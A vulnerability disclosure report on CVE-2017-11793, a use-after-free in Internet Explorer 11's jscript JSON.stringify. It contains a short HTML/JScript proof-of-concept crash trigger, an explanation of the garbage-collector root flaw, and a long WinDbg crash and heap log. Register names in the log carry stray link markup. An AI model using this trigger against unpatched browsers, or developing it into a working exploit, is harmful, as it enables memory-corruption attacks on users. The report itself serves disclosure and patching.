IE11: use-after-free in jscript!JSONStringifyObject CVE-2017-11793 There is a use-after-free in jscript.dll library that can be exploited in IE11. PoC: ========================================= <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> var o1 = {toJSON:function(){ alert('o1'); return [o2]; }} var o2 = {toJSON:function(){ alert('o2'); CollectGarbage(); return 'x'; }} JSON.stringify(o1); </script> ========================================= Technical details: JSONStringifyObject first calls JSONApplyFilters which calls an argument's toString method. However the return value of the toString method won't be on the garbage collector's root object list and thus can be freed during subsequent callbacks. Debug log: ========================================= 0:028> g (df8.e48): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!JSONStringifyArray+0x38f: 000007fe`edbf9fb3 66214738 and word ptr [rdi+38h],ax ds:00000000`04518fc8=???? 0:014> r rax=000000000000fffb rbx=0000000000000000 rcx=0000000000000005 rdx=0000000000000005 rsi=00000000129ca100 rdi=0000000004518f90 rip=000007feedbf9fb3 rsp=00000000129c9f30 rbp=00000000129c9fa9 <a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=0000000000000000 <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=000000000405d670 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=0000000000000081 <a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=00000000129c9f00 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=0000000000000001 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=0000000000000001 <a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=0000000000000000 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=00000000129ca1a8 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 jscript!JSONStringifyArray+0x38f: 000007fe`edbf9fb3 66214738 and word ptr [rdi+38h],ax ds:00000000`04518fc8=???? 0:014> k # Child-SP RetAddr Call Site 00 00000000`129c9f30 000007fe`edbfa2cc jscript!JSONStringifyArray+0x38f 01 00000000`129ca000 000007fe`edbfec94 jscript!JSONStringifyObject+0x2dc 02 00000000`129ca0b0 000007fe`edb9c2ec jscript!JsJSONStringify+0x3e4 03 00000000`129ca190 000007fe`edb9a9fe jscript!NatFncObj::Call+0x138 04 00000000`129ca240 000007fe`edb9b234 jscript!NameTbl::InvokeInternal+0x3f8 05 00000000`129ca360 000007fe`edb99852 jscript!VAR::InvokeByName+0x81c 06 00000000`129ca570 000007fe`edb99929 jscript!VAR::InvokeDispName+0x72 07 00000000`129ca5f0 000007fe`edb924b8 jscript!VAR::InvokeByDispID+0x1229 08 00000000`129ca640 000007fe`edb98ec2 jscript!CScriptRuntime::Run+0x5a6 09 00000000`129cb440 000007fe`edb98d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162 0a 00000000`129cb650 000007fe`edb98b95 jscript!ScrFncObj::Call+0xb7 0b 00000000`129cb6f0 000007fe`edb9e6c0 jscript!CSession::Execute+0x19e 0c 00000000`129cb7c0 000007fe`edba70e7 jscript!COleScript::ExecutePendingScripts+0x17a 0d 00000000`129cb890 000007fe`edba68d6 jscript!COleScript::ParseScriptTextCore+0x267 0e 00000000`129cb980 000007fe`ee2f5251 jscript!COleScript::ParseScriptText+0x56 0f 00000000`129cb9e0 000007fe`eea7b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 10 00000000`129cba60 000007fe`ee2f6256 MSHTML!CScriptCollection::ParseScriptText+0x37f 11 00000000`129cbb40 000007fe`ee2f5c8e MSHTML!CScriptData::CommitCode+0x3d9 12 00000000`129cbd10 000007fe`ee2f5a11 MSHTML!CScriptData::Execute+0x283 13 00000000`129cbdd0 000007fe`eeab46fb MSHTML!CHtmScriptParseCtx::Execute+0x101 14 00000000`129cbe10 000007fe`ee398a5b MSHTML!CHtmParseBase::Execute+0x235 15 00000000`129cbeb0 000007fe`ee272e39 MSHTML!CHtmPost::Broadcast+0x90 16 00000000`129cbef0 000007fe`ee2ccaef MSHTML!CHtmPost::Exec+0x4bb 17 00000000`129cc100 000007fe`ee2cca40 MSHTML!CHtmPost::Run+0x3f 18 00000000`129cc130 000007fe`ee2cda12 MSHTML!PostManExecute+0x70 19 00000000`129cc1b0 000007fe`ee2d0843 MSHTML!PostManResume+0xa1 1a 00000000`129cc1f0 000007fe`ee2b6fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43 1b 00000000`129cc240 000007fe`eeae4f78 MSHTML!CDwnChan::OnMethodCall+0x41 1c 00000000`129cc270 000007fe`ee1d9d75 MSHTML!GlobalWndOnMethodCall+0x240 1d 00000000`129cc310 00000000`771f9bbd MSHTML!GlobalWndProc+0x150 1e 00000000`129cc390 00000000`771f98c2 USER32!UserCallWinProcCheckWow+0x1ad 1f 00000000`129cc450 000007fe`f2694a87 USER32!DispatchMessageWorker+0x3b5 20 00000000`129cc4d0 000007fe`f269babb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 21 00000000`129cf750 000007fe`fe4c572f IEFRAME!LCIETab_ThreadProc+0x3a3 22 00000000`129cf880 000007fe`efb2925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 23 00000000`129cf8b0 00000000`772f59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 24 00000000`129cf900 00000000`7742a561 kernel32!BaseThreadInitThunk+0xd 25 00000000`129cf930 00000000`00000000 ntdll!RtlUserThreadStart+0x1d 0:014> !heap -p -a 00000000`04518fc8 address 0000000004518fc8 found in _DPH_HEAP_ROOT @ 3d31000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 3d49750: 4518000 2000 000007feefb88726 verifier!AVrfDebugPageHeapFree+0x00000000000000a2 00000000774c4255 ntdll!RtlDebugFreeHeap+0x0000000000000035 000000007746797c ntdll! ?? ::FNODOBFM::`string'+0x000000000000e982 000007fefd4b10c8 msvcrt!free+0x000000000000001c 000007feedb9bad2 jscript!NativeErrorProtoObj<16>::`vector deleting destructor'+0x0000000000000022 000007feedb9b938 jscript!NameTbl::SetMasterVariant+0x000000000000a240 000007feedbb42cb jscript!GcAlloc::ReclaimGarbage+0x000000000000034d 000007feedb919e2 jscript!GcContext::Reclaim+0x00000000000000ae 000007feedba1956 jscript!GcContext::CollectCore+0x000000000000018b 000007feedba17a5 jscript!GcContext::Collect+0x0000000000000025 000007feedbe42f3 jscript!JsCollectGarbage+0x0000000000000023 000007feedb9c2ec jscript!NatFncObj::Call+0x0000000000000138 000007feedb9c199 jscript!NameTbl::InvokeInternal+0x0000000000000377 000007feedb986ea jscript!VAR::InvokeByDispID+0xffffffffffffffea 000007feedb924b8 jscript!CScriptRuntime::Run+0x00000000000005a6 000007feedb98ec2 jscript!ScrFncObj::CallWithFrameOnStack+0x0000000000000162 000007feedb98d2b jscript!ScrFncObj::Call+0x00000000000000b7 000007feedbc2084 jscript!NameTbl::InvokeInternal+0x000000000000060f 000007feedb986ea jscript!VAR::InvokeByDispID+0xffffffffffffffea 000007feedbf8ee3 jscript!GCProtectKeyAndCall+0x000000000000009f 000007feedbf97a6 jscript!JSONApplyFilters+0x000000000000014a 000007feedbfa08b jscript!JSONStringifyObject+0x000000000000009b 000007feedbf9e77 jscript!JSONStringifyArray+0x0000000000000253 000007feedbfa2cc jscript!JSONStringifyObject+0x00000000000002dc 000007feedbfec94 jscript!JsJSONStringify+0x00000000000003e4 000007feedb9c2ec jscript!NatFncObj::Call+0x0000000000000138 000007feedb9a9fe jscript!NameTbl::InvokeInternal+0x00000000000003f8 000007feedb9b234 jscript!VAR::InvokeByName+0x000000000000081c 000007feedb99852 jscript!VAR::InvokeDispName+0x0000000000000072 000007feedb99929 jscript!VAR::InvokeByDispID+0x0000000000001229 000007feedb924b8 jscript!CScriptRuntime::Run+0x00000000000005a6 000007feedb98ec2 jscript!ScrFncObj::CallWithFrameOnStack+0x0000000000000162 ========================================= This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: ifratric